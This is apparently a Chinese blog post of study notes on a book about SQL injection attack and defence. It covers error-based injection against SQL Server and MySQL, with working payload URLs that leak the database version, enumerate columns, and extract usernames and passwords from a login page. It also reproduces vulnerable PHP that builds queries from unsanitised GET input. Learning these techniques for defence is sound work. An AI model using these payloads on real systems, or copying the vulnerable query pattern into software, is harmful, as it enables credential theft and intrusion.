SQL注入攻击与防御(第2版)_读书笔记2_未完待续

SQL错误:

不需要记住所有错误代码,重要的是理解错误发生的时机和原因.

①Microsoft SQL Server错误:

报错:quotation mark before the character string 'attacker;'

猜想:SELECT * FROM products WHERE category='attacker''

该应用程序未审核单引号,所以数据库服务器拒绝了该语句并返回一个错误.

 

http://www.victim.com/showproduct.aspx?id=2                     //原2

http://www.victim.com/showproduct.aspx?id=attacker        //改attacker

报错:Invalid column name 'attacker'

猜想:SELECT  * FROM products WHEREidproduct=2

 返回结果集是idproduct字段等于2时的商品,如果注入一个非数字值,比如attacker,

那么最终发送给数据库服务器的SQL语句将如下:

SELECT * FROM products WHERE idproduct=attacker

SQL Server认为,如果该值不是一个数字,那么它肯定是个列名,本例中,服务器在products表

中寻找名为attacker的列.因为不存在该列,所以返回Invalid column name 'attacker'错误.

 

可以使用一些技术来检索嵌入在数据库返回错误中的消息.第一组种技术是通过将字符串转换为证书来产生错误:

http://www.victim.com/showproduct.aspx?id=bikes'and 1=0/@@version;--

报错:Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8. 00. 760 (Intel x86) Dec 17 2002 14:22:05Copyright (c) 1988-2003 Microsoft Corpration Enterprise Edition on Windows NT5.2 (Build 3790:)' to a column of data type int.

数据库报告了一个错误,它将@@version的结果转换成一个整数并显示了其内容,该技术滥用了SQL Server中的类型转换功能,我们发送@@version作为部分注入代码.出发运算需要两个数字作为操作数,所以数据库尝试将@@version函数的结果转换成数字,当该操作失败时,数据库会显示出变量的内容.

可以使用该技术显示数据库中的任何变量,下面的例子使用该技术显示user变量的值

http://www.victim.com/showproduct.aspx?id=bikes'and 1=0/user;--

报错:Syntax error converting the nvarchar value 'dbo' to a column of data type int.

 

还有一些技术可用于显示数据库执行的语句的信息,比如使用having 1=1;

http://www.victim.com/showproduct.aspx?id=bikes'having '1'='1

报错:Column 'products.productid' isinvalid in the select list because it is not contained in an aggregate functionand there is no GROUP BY clause.

这里将HAVING子句与GROUP BY子句结合使用.也可以在SELECT语句中使用HAVING子句过滤GROUP BY子句返回的记录,GROUP BY要求SELECT语句选择的字段是某个聚合函数的结果或者包含在GROUP BY子句中.如果该条件不满足,那么数据库会返回一个错误,显示出现该问题的第一列.

可以使用该技术和GROUP BY来枚举SELECT语句中的所有列:

http://www.victim.com/showproduct.aspx?id=bikes'GROUP BY productid having '1'='1

报错:Column 'products.name' is invalid inthe select list because it is not contained in an aggregate function and thereis no GROUP BY clause.

上述例子中,我们包含了之前在GROUP BY语句中发现的productid列,数据库报错显示了接下来的name列,只需要继续增加发现的列即可枚举所有列:

http://www.victim.com/showproduct.aspx?id=bikes'GROUP BY productid, name having '1'='1

报错:Column 'products.price' is invalidin the select list because it is not contained in an aggregate function andthere is no GROUP BY clause.

列出所有列名后,可以使用前面介绍的类型转换错误技术来检索列对应的值:

http://www.victim.com/showproduct.aspx?id=bikes'and 1=0/name;--

报错:Syntax error converting the nvarchar value 'Claud Butler' to a column of data type int.

tips:如果攻击者瞄准那些使用SQL Server数据库的应用,那么错误消息中的信息披露就会非常有用,如果在身份验证机制中发现了这种信息披露,可尝试使用刚才介绍的HAVING和GROUP BY技术枚举用户名列和口令列的名称(很可能为user和password):

http://www.victim.com/logon.aspx?username=test' having 1'='1

http://www.victim.com/logon.aspx?username=test' GROUP BY user having 1'='1

发现列名后,可披露第一个账户的认证信息,该账户可能拥有管理员权限:

http://www.victim.com/logon.aspx?username=test' and 1=0/user and 1'='1

http://www.victim.com/logon.aspx?username=test' and 1=0/password and 1'='1

还可以将已发现的用户名添加到一个否定条件中,这样便可以将其从结果集中排除,从而发现其他账户:

http://www.victim.com/logon.aspx?username=test' and user not in ('Admin') and 1=0/user and 1'='1

可以使用web.config文件配置ASP.NET应用程序中的错误显示,该文件用户定义ASP.NET应用程序的设置和配置.customErrors指令定义如果将错误返回给Web服务器,默认为"on".  p33

 

②MySQL错误:

下列错误通常表明存在MySQL注入漏洞:

Warning:mysql_fetch_array():suppliedargument is not a valid MySQL result resource in/var/www/victim.com/showproduct.php on line 8

本例中,攻击者在GET参数中注入了一个单引号,PHP页面将SQL语句发送给了数据库.下列PHP代码段展示了该漏洞:

 

//连接数据库

mysql_connect("[database]","[user]", "[password]") or

//检查错误,处理无法访问数据库的情况

die("Could not connect: " .mysql_error());

//检查数据库

mysql_select_db("[database_name]");

 

//从GET请求中获取category值

$category=$_GET["category"];

//创建并执行一条SQL语句

$result = mysql_query("SELECT * fromproducts where category='$category'");

 

//遍历所有结果

While ($row =mysql_fetch_array($result.MYSQL_NUM))

         {

                   printf("ID:%s Name: %s", $rouw[0], $row[1]);

         }

//释放结果集

mysql_free_result($result);

?>

从GET变量检测到的值未经审查就在SQL语句中使用会造成漏洞,如果攻击者使用单引号注入一个值,那么最终的语句将变成:

SELECT * FROM products WHEREcategory='attacker''

上述SQL语句将执行失败且mysql_query函数不会返回任何值.所以$result变量不再是有效的MySQL结果元.在下列代码行中,mysql_fetch_array($result,MYSQL_NUM)函数将执行失败且PHP会显示一条警告信息,该信息告诉攻击者SQL语句无法执行

php包含一个名为mysql_error的内置函数,在执行SQL语句的过程中,该函数可以提供与从MySQL数据库返回的错误相关的信息.下列PHP代码会显示在执行SQL查询的过程中引发的错误:

//连接数据库

mysql_connect("[database]","[user]", "[password]") or

//检查错误,处理无法访问数据库的情况

die("Could not connect: " .mysql_error());

//检查数据库

mysql_select_db("[database_name]");

 

//从GET请求中获取category值

$category=$_GET["category"];

 

//创建并执行一条SQL语句

$result = mysql_query("SELECT * fromproducts where category='$category'");

 

if(!$result)

         {        //如果有任何错误

                   //检查错误并显示错误信息

                   die('

Error: ' . mysql_error() .'

');

         }else

                   {

                            //遍历所有结果

                            While($row = mysql_fetch_array($result.MYSQL_NUM))

                                     {

                                               printf("ID:%s Name: %s", $rouw[0], $row[1]);

                                     }

                   }

 

//释放结果集

mysql_free_result($result);

?>

当运行上述代码的应用捕获到数据库错误且SQL查询失败时,返回的HTML文档将包含数据库返回的错误.如果攻击者向字符串参数添加一个单引号,那么服务器将返回类似于下列内容的输出:

Error:You have an error in your SQL syntax;check the manual that corresponds to your MySQL server version for the rightsyntax to use near ''' at line 1

上述输出提供了SQL查询为什么会失败的信息.如果注入的参数不是一个字符串(即不需要包含在单引号中),最终输出将类似于下列内容:

Error:Unknow column 'attacker' In'whereclause'

MySQL服务器中的行为与SQL Server中的相同,由于没有将该值包含在引号中,因此MySQL将它看作一个列名,执行的SQL语句如下:

SELECT * FROM products WHEREidproduct=attacker

MySQL无法找到名为attacker的列,返回一个错误.

if(!$result)

         {        //如果有任何错误

                   //检查错误并显示错误信息

                   die('

Error: ' . mysql_error() .'

');

         }

PHP的die()函数打印了一条消息并恰当的退出当前脚本.程序员还可以使用其他选项,比如重定向到其他页面:

if(!$result)

         {        //如果有任何错误

                   //检查错误并重定向

                   header("Location:http://www.victim.com/error.php");

         }                                                                                                                                                                       p35

你可能感兴趣的:(SQL注入攻击与防御(第2版)_读书笔记2_未完待续)